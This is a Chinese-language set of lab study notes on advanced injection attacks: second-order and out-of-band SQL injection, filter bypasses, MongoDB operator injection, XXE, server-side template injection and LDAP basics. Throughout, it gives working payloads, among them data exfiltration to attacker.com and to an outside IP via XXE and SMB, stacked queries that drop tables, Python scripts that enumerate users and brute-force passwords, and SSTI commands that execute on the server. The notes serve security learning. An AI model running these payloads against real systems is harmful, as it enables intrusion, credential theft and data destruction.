高阶 SQL 注入

二次注入

原理

用户提供的输入被保存并随后在应用程序的不同部分使用,可能在一些初始处理之后。这种类型的攻击更加隐蔽,因为恶意 SQL 代码不需要立即导致 SQL 语法错误或其他明显问题,这使得它更难使用标准输入验证技术进行检测。当数据被检索并在 SQL 命令中使用时,第二次使用数据时,会发生注入

说白了,举个例子,有个更新数据的功能点,你之前添加的那一条数据项是恶意的sql语句,在执行这个功能后,他会被检索并当作正常sql语句执行,从而导致注入攻击

实践

将所有书籍的标题更新为 “compromised”

首先就是有个插入数据的网页

先插个数据看看,显示了新插入的数据

然后有一个更新数据的网页

点击更新的数据包是这样

这里看不出啥,从代码层面来分析就是

1
2
3
4
5
6
7
if ( isset($_POST['update'])) {
$unique_id = $_POST['update'];
$ssn = $_POST['ssn_' . $unique_id];
$new_book_name = $_POST['new_book_name_' . $unique_id];
$new_author = $_POST['new_author_' . $unique_id];

$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";

new_book_name_new_author_ssn都可作为注入点
再新建个数据测试,就以new_book_name_测试吧

1
114514'; UPDATE books SET book_name = 'compromised'; --


添加好以后点击一下更新数据那边的更新按钮

删除表 hello

1
114514'; drop table `hello`; --


轻微翻车了,被前面那个改书名的注入语句给执行覆盖了,重新来一次,换成作者字段

然后再到更新数据的地方点击更新按钮,拿到flag

bypass

字符编码

  1. URL 编码
  2. 十六进制编码 :十六进制编码是使用十六进制值构建 SQL 查询的另一种有效技术。例如,查询 SELECT * FROM users WHERE name = 'admin' 可以编码为 SELECT * FROM users WHERE name = 0x61646d696e .通过将字符表示为十六进制数字,攻击者可以绕过在处理输入之前不解码这些值的过滤器
  3. Unicode 编码 :Unicode 编码表示使用 Unicode 转义序列的字符。例如,字符串 admin 可以编码为 \u0061\u0064\u006d\u0069\u006e .此方法可以绕过仅检查特定 ASCII 字符的过滤器,因为数据库将正确处理编码的输入

实践

万能密码测试过滤了or和空格

那就逻辑运算符||替换or秒了

1
1'||1=1--+

无引号 SQL 注入

  1. 使用 SQL 注释 :另一种方法涉及使用 SQL 注释来终止查询的其余部分。例如,输入 admin'-- 可以转换为 admin--,其中 -- 表示 SQL 中注释的开始,从而有效地忽略 SQL 语句的其余部分。这有助于绕过过滤器并防止语法错误
  2. 使用 CONCAT() 函数 :攻击者可以使用 CONCAT() 等 SQL 函数来构造不带引号的字符串。例如, CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) 构造字符串 admin.CONCAT() 函数和类似方法允许攻击者在不直接使用引号的情况下构建字符串,从而使过滤器更难检测和阻止有效负载

空格被过滤

  1. 替换空格的注释 :一种常见的方法是使用 SQL 注释 (/**/) 来替换空格。例如,攻击者可以使用 SELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin' ,而不是 SELECT * FROM users WHERE name = 'admin' 。SQL 注释可以替换查询中的空格,从而允许有效负载绕过删除或阻止空格的过滤器
  2. 制表符或换行符 :另一种方法是使用制表符 (\t) 或换行符 (\n) 代替空格。某些筛选器可能允许这些字符,从而使攻击者能够构造类似于 SELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin' .此技术可以绕过专门查找空格的筛选器
  3. 替代字符 : 一种有效的方法是使用表示不同类型空格的替代 URL 编码字符,例如 %09(水平制表符)、%0A(换行符)、%0C(换页)、%0D(回车)和 %A0(不间断空格)。这些字符可以替换有效负载中的空格

可用于尝试绕过筛选器和 WAF 的各种技术

** 场景** ** 描述** ** 例**

像 SELECT 这样的关键词被禁止

通常可以通过更改大小写或添加内联注释来分解 SQL 关键字
SElEcT * FrOm users or SE/**/LECT * FROM/**/users
禁止使用 Space
使用替代空格字符或注释来替换空格有助于绕过过滤器。
SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users
**
禁止使用 AND、OR 等逻辑运算符**

使用替代逻辑运算符或串联来绕过关键字筛选器。
username = ‘admin’ && password = ‘password’ or username = ‘admin’/**/|/**/1=1 –
**
UNION、SELECT 等常见关键字被禁止**

使用等效表示形式(如十六进制或 Unicode 编码)来绕过筛选器。
SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)
**
禁止使用 OR、AND、SELECT、UNION 等特定关键字**

使用混淆技术通过将字符与字符串函数或注释组合在一起来伪装 SQL 关键字。
SElECT * FROM users WHERE username = CONCAT(‘a’,’d’,’m’,’i’,’n’) or SElEcT/**/username/**/FROM/**/users

带外 SQL 注入(OOB sql注入)

原理与用途

带外 (OOB) SQL 注入是一种攻击技术,当直接或传统方法无效时,渗透测试人员/红队成员使用它来泄露数据或执行恶意作。与攻击者依赖同一通道进行攻击和数据检索的带内 SQL 注入不同,带外 SQL 注入使用单独的通道来发送有效负载和接收响应。带外技术利用 HTTP 请求、DNS 查询、SMB 协议或数据库服务器可能有权访问的其他网络协议等功能,使攻击者能够绕过防火墙、入侵检测系统和其他安全措施

在直接响应被清理或受到安全措施限制的情况下,OOB 通道使攻击者能够在没有服务器立即反馈的情况下泄露数据。例如, 存储过程 、 输出编码应用程序级别约束等安全机制可能会阻止直接响应 ,从而使传统的 SQL 注入攻击无效。带外技术(例如使用 DNS 或 HTTP 请求)允许将数据发送到由攻击者控制的外部服务器,从而规避这些限制

此外, 入侵检测系统 (IDS) 和 Web 应用程序防火墙 (WAF) 通常会监控和记录可疑活动的 SQL 查询响应 ,从而阻止来自潜在恶意查询的直接响应。通过利用 OOB 通道,攻击者可以通过使用审查较少的网络协议( 如 DNS 或 SMB)来传输数据来避免检测。这在攻击者与数据库服务器之间的直接连接受限的网络环境中特别有用,例如当服务器位于防火墙后面或位于不同的网段中时

不同数据库中的技术

MySQL 和 MariaDB

可以使用  SELECT …INTO OUTFILE 或 load_file 命令。此命令允许攻击者将查询结果写入服务器文件系统上的文件

1
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

然后,攻击者可以通过数据库服务器上运行的 SMB 共享或 HTTP 服务器访问此文件,从而通过备用通道泄露数据

Microsoft SQL Server (MSSQL)

可以使用 xp_cmdshell 等功能执行带外 SQL 注入,该功能允许直接从 SQL 查询执行 shell 命令。这可用于将数据写入可通过网络共享访问的文件

1
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

另外, OPENROWSET 或者 BULK INSERT 可用于与外部数据源交互,从而促进通过 OOB 通道进行数据泄露

Oracle

可以使用 UTL_HTTP 或 UTL_FILE 软件包执行带外 SQL 注入。例如,UTL_HTTP 包可用于发送包含敏感数据的 HTTP 请求

1
2
3
4
5
6
7
DECLARE 
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;

实践(smb带外)

启动smb共享

插入payload

1
1'; SELECT @@version INTO OUTFILE '\\\\10.21.170.43\\logs\\out.txt'; --


然后接收到文件

访问网络共享的内容

1
smbclient //10.21.170.43/logs -U guest -N


额权限问题,嗯反正都是自己的服务器,看输出的out.txt

其他注入位

HTTP 协议标头注入

  1. User-Agent: ‘ OR 1=1; –
  2. X-Forwarded-For
  3. Referer

实践(UA头注入)

1
'UNION SELECT flag,1 FROM books where book_id = 1; #

XML 和 JSON 注入

解析 XML 或 JSON 数据并在 SQL 查询中使用解析数据的应用程序如果未正确清理输入,则可能容易受到注入。XML 和 JSON 注入涉及将恶意数据注入 XML 或 JSON 结构,然后在 SQL 查询中使用这些数据。如果应用程序直接在 SQL 语句中使用解析的值,则可能会发生这种情况

1
2
3
4
5
6
7
{

"username": "admin' OR '1'='1--",

"password": "password"

}

NOSQL注入

工作方式与任何其他数据库类似。主要的例外是信息不存储在表中,而是存储在文档

可以将这些文档视为存储键值对的简单字典结构。在某种程度上,它们与传统关系数据库上的记录非常相似,但信息的存储方式不同。例如,假设我们正在为 HR 部门创建一个 Web 应用程序,并且我们希望存储基本的员工信息。然后,您将为每个员工创建一个文档,其中包含格式如下的数据:
{"_id" : ObjectId("5f077332de2cdf808d26cd74"), "username" : "lphillips", "first_name" : "Logan", "last_name" : "Phillips", "age" : "65", "email" : "lphillips@example.com" }

Mongo DB

运算符参考

运算符注入

绕过登录页

网页源码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");

if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];

$q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
$record = $con->executeQuery('myapp.login', $q );
$record = iterator_to_array($record);

if(sizeof($record)>0){
$usr = $record[0];

session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $usr->username;

header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');

?>

因此让传入的数据是不等于一个错误的账号密码,那么数据库就能返回正确的账号密码,即

1
user[$ne]=dadada&pass[$ne]=adadadad

切换用户登录

换个用户登录,那就是注入语句改为不匹配admin

1
user[$nin][]=admin&pass[$ne]=adadadad


写脚本爆破拿到别的用户名,用$regex选择值匹配指定正则表达式的文档
用正则去逐步枚举以某些字符开头的用户名,比如 ^a^b^c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
import re
import string

# 配置
base_url = "http://10.10.226.16"
login_url = base_url + "/login.php"

headers = {
"Host": "10.10.226.16",
"Origin": base_url,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0",
"Referer": base_url + "/",
}

# 提取用户名
def extract_username(html):
match = re.search(r"<td>\s*User:\s*</td>\s*<td>([^<]+)</td>", html, re.IGNORECASE)
if match:
return match.group(1).strip()
return None

def inject_and_collect_users():
session = requests.Session()
found_users = set()

print("[*] Starting regex-based MongoDB injection to enumerate users...\n")

for char in string.ascii_lowercase: # a-z
data = {
"user[$regex]": f"^{char}",
"pass[$ne]": "x",
"remember": "on"
}

try:
response = session.post(login_url, headers=headers, data=data, allow_redirects=False)
print(f"\n[^{char}] POST status: {response.status_code}")

if response.status_code == 302 and "Location" in response.headers:
redirect_url = base_url + response.headers["Location"]
print(f"[+] Redirecting to: {redirect_url}")
final_response = session.get(redirect_url, headers=headers)

username = extract_username(final_response.text)
if username:
if username not in found_users:
print(f"[✔] Found NEW user: {username}")
else:
print(f"[~] Duplicate user: {username}")
found_users.add(username)
else:
print("[×] No username found in redirected page.")
else:
print(f"[×] No redirect (status {response.status_code})")

except Exception as e:
print(f"[!] Error occurred: {e}")

print("\n================== RESULT ==================")
print(f"[*] Total unique users found: {len(found_users)}")
print("[*] User list:")
for user in sorted(found_users):
print(f" - {user}")
print("============================================")

if __name__ == "__main__":
inject_and_collect_users()

拿密码

写脚本盲注了直接,思路就是先知道位数,然后再盲注拿数据
user=john&pass[$regex]=^.{8}$&remember=on以及user=john&pass[$regex]=^a.......$&remember=on

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import re
import string

# 配置
base_url = "http://10.10.123.107"
login_url = base_url + "/login.php"

headers = {
"Host": "10.10.123.107",
"Origin": base_url,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0",
"Referer": base_url + "/",
}

def extract_username(html):
match = re.search(r"\s*User:\s*\s*([^<]+)", html, re.IGNORECASE)
if match:
return match.group(1).strip()
return None

def check_password_length(session, length):
regex = f"^.{{{length}}}$"
data = {
"user": "pedro",
"pass[$regex]": regex,
"remember": "on"
}
try:
response = session.post(login_url, headers=headers, data=data, allow_redirects=False)
if response.status_code == 302 and "Location" in response.headers:
redirect_url = base_url + response.headers["Location"]
final_resp = session.get(redirect_url, headers=headers)
user = extract_username(final_resp.text)
if user and user.lower() == "pedro":
return True
except Exception as e:
print(f"[!] Length check error for {length}: {e}")
return False

def is_valid_password_prefix(session, prefix, total_length):
remaining_len = total_length - len(prefix)
regex = f"^{prefix}" + f".{{{remaining_len}}}$"
data = {
"user": "pedro",
"pass[$regex]": regex,
"remember": "on"
}
try:
response = session.post(login_url, headers=headers, data=data, allow_redirects=False)
if response.status_code == 302 and "Location" in response.headers:
redirect_url = base_url + response.headers["Location"]
final_resp = session.get(redirect_url, headers=headers)
user = extract_username(final_resp.text)
if user and user.lower() == "pedro":
return True
except Exception as e:
print(f"[!] Request error with prefix '{prefix}': {e}")
return False

def bruteforce_password(session, length):
charset = string.ascii_letters + string.digits + "!@#$%^&*"
password = ""
print(f"[*] Starting password brute-force for length {length}")
for pos in range(length):
found_char = None
for c in charset:
attempt = password + c
print(f"[~] Trying prefix: '{attempt}'")
if is_valid_password_prefix(session, attempt, length):
password += c
found_char = c
print(f"[✔] Found character at position {pos + 1}: '{c}'")
break
if found_char is None:
print(f"[×] Failed to find character at position {pos + 1}")
break
return password

def main():
session = requests.Session()
max_length = 30
print("[*] Starting password length enumeration...")
password_length = None
for length in range(1, max_length + 1):
print(f"[*] Trying length: {length}")
if check_password_length(session, length):
password_length = length
print(f"[✔] Password length determined: {length}")
break
if password_length is None:
print("[×] Failed to determine password length")
return
password = bruteforce_password(session, password_length)
print(f"\n[✔] Password cracked: {password}")

if __name__ == "__main__":
main()


语法注入

ssh身份验证

单引号起手,查询语句爆出来,说明闭合了

万能密码

1
admin'||1||'

XXE 注入

基础

DTD 在 XXE 注入中起着至关重要的作用,因为它们可用于声明外部实体。外部实体可以引用外部文件或 URL,这可能会导致恶意数据或代码注入

内部 DTD 使用 <!DOCTYPE 声明,而外部 DTD 则使用 SYSTEM 关键字引用

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
<!ELEMENT config (database)>
<!ELEMENT database (username, password)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]>
<config>
<!-- configuration data -->
</config>

XML 实体

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY external SYSTEM "http://example.com/test.dtd">
<config>
&external;
</config>

这将显示引用 URL 的外部实体。XML 文档中的 &external; 引用将扩展到引用的 URL 的内容

利用

带内

yakit要注意格式化,这点burpyakit

1
2
3
4
5
6
7
8
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///opt/14232d6db2b5fd937aa92e8b3c48d958.txt" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

带外

先制作一个dtd文件,目的是读取/etc/passwd

1
2
3
<!ENTITY % a SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % b "<!ENTITY c SYSTEM 'http://10.21.170.43:404/?data=%a;'>">
%b;

发送payload,引用c实体,因为引入了外部实体,相当于是直接引入了b实体,而b实体就是<!ENTITY c SYSTEM 'http://10.21.170.43:404/?data=%a;'>,然后就可以带入带内xxe的思想,我们实际要用的就是c实体

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://10.21.170.43:404/1.dtd">
<upload>
<file>&c;</file>
</upload>


SSRF + XXE

直接扫端口,yakit真方便直接{{然后选就行了

1
2
3
4
5
6
7
8
9
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost:{{array({{int(1-100)}})}}/" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

SSTI(服务器端模板注入)

SSTI 攻击的流程

  1. 读取或修改服务器端文件
  2. 执行系统命令
  3. 访问敏感信息(例如,环境变量、数据库凭证)

确定模板引擎

Jinja2(python)

{{7*'7'}} 输出为7个7

Twig(PHP)

{{7*'7'}} 输出为49

Jade/Pug(Node.js)

Pug/Jade 评估 #{} 内的 JavaScript 表达式。例如,使用有效负载 #{7*7} 将返回 49
Pug/Jade 直接允许在其模板中执行 JavaScript,而无需像 {{ }} 这样的额外分隔符

1
#{root.process.mainModule.require('child_process').spawnSync('id').stdout)

利用

PHP

Smarty

测试

1
{'Hello'|upper}

返回HELLO说明是Smarty

那直接就是代码注入执行

1
{system("whoami")}

twig

测试

1
{{'Hello'|upper}}

返回HELLO,说明是twig
直接命令执行,他的语法类似python的Jinjia2

1
{{ (_self.env.registerUndefinedFilterCallback("exec") or 1) and "id"|filter }}

失败,写脚本测试可用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import re

url = "http://ssti.thm:8000/twig/"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0",
"Referer": url,
"Origin": "http://ssti.thm:8000"
}

payloads = [
("math eval", "{{7*7}}"),
("upper filter", "{{'abc'|upper}}"),
("constant PHP_VERSION", "{{constant('PHP_VERSION')}}"),
("_self object", "{{_self}}"),
("env object", "{{_self.env}}"),
("env.loader", "{{_self.env.loader}}"),
("register + system", "{{(_self.env.registerUndefinedFilterCallback('system') or 1) and 'id'|system}}"),
("register + exec", "{{(_self.env.registerUndefinedFilterCallback('exec') or 1) and 'id'|exec}}"),
("attribute register + system", "{{ attribute(_self.env, 'registerUndefinedFilterCallback')('system') }}{{ 'id'|system }}"),
("array map system", "{{['whoami']|map('system')|join}}"),
]

print("🔍 Starting Twig SSTI detection...\n")

def extract_result(html):
# 提取 payload 输出的渲染结果(在 Submit 按钮下面)
match = re.search(r'</form>\s*([\s\S]+?)\s*</div>', html)
if match:
return match.group(1).strip()
return "(No output found)"

for name, payload in payloads:
try:
data = {"page": payload}
r = requests.post(url, data=data, headers=headers, timeout=5)
output = extract_result(r.text)
result_line = f"🧪 {name:<30}{output}"
# 标记潜在命令执行成功(包含 uid, root, www-data, 用户名等)
if any(keyword in output.lower() for keyword in ['uid=', 'gid=', 'root', 'www-data', 'user']):
result_line += " ✅ [POSSIBLE RCE]"
elif "Unknown" in output or "exception" in output.lower():
result_line += " ⚠️ [Error]"
print(result_line)
except Exception as e:
print(f"❌ {name} → Request failed: {e}")


constant()可用
经测试,不允许调用函数,只能读取常量值
最后就读取了这些没啥用的

NodeJS - Pug

Pug 的安全漏洞主要源于它在模板变量中插入 JavaScript 代码的能力
直接注入命令

1
#{root.process.mainModule.require('child_process').spawnSync('whoami').stdout}


带参数命令,如ls -lah不能直接spawnSync('ls -lah'),因为

1
spawnSync(command, [args], [options])

所以要

1
#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

1
#{root.process.mainModule.require('child_process').spawnSync('tac', ['7f58571b42d8c477a2f3efa69a681ac3.txt']).stdout}

Python

Jinja2

1
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("whoami")}}


带参数命令,根据

1
subprocess.check_output([command, arg1, arg2])

所以

1
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['tac', '5d8bea6df83cbb6767a235c4ba54933b.txt'])}}

mako(sstimap使用)

直接用自动化工具了

1
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='


然后读文件,都是代码执行的方式

1
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page=' -X 'open("/etc/passwd").read()'


或者直接拿shell

1
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page=' --os-shel

纯实践

抓瞎

没找到漏洞点,倒是xss的找到一个

1
http://ssti.thm:8080/admin/clients/edit.php?page=main&client_id=


感觉应该是测试php

然后sql注入也找到了

离谱啊,ssti还没找到点在哪,算了先打完拿东西再看wp
md还路径不可写

找到ssti

不对,想起来可以查组件漏洞,直接搜索form tool ssti,找到个文章
漏洞点是在添加表单那里,然后在

1
http://ssti.thm:8080/admin/forms/edit/index.php?form_id=3&page=views


直接插语句,然后点一下update,测出是Smarty

那就直接插

命令执行成功,那直接跑工具算了,md sstimap没跑出来

1
ls ../../../ -a

找到隐藏的文本文件

LDAP注入

结构

可分辨名称 (DN): 用作目录中每个条目的唯一标识符,指定从 LDAP 树顶部到条目的路径,例如 cn=John Doe,ou=people,dc=example,dc=com
对可分辨名称 (RDN): 表示目录层次结构中的各个级别,例如 cn=John Doe,其中 cn 代表公用名
属性: 定义目录条目的属性,例如电子邮件地址的 mail=john@example.com

过滤器和语法

相等 (=)、 存在 (=*)、大于 (>=) 和小于 (<=
最重要的运算符之一是通配符 *,它表示与任意数量的字符匹配。此运算符对于制定广泛或部分匹配搜索条件至关重要

带有逻辑运算符的复杂过滤器:

1
(&(objectClass=user)(|(cn=John*)(cn=Jane*)))

搜索在其对象类中分类为 “user” 且规范名称以 “John” 或 “Jane” 开头的条目

注入基础知识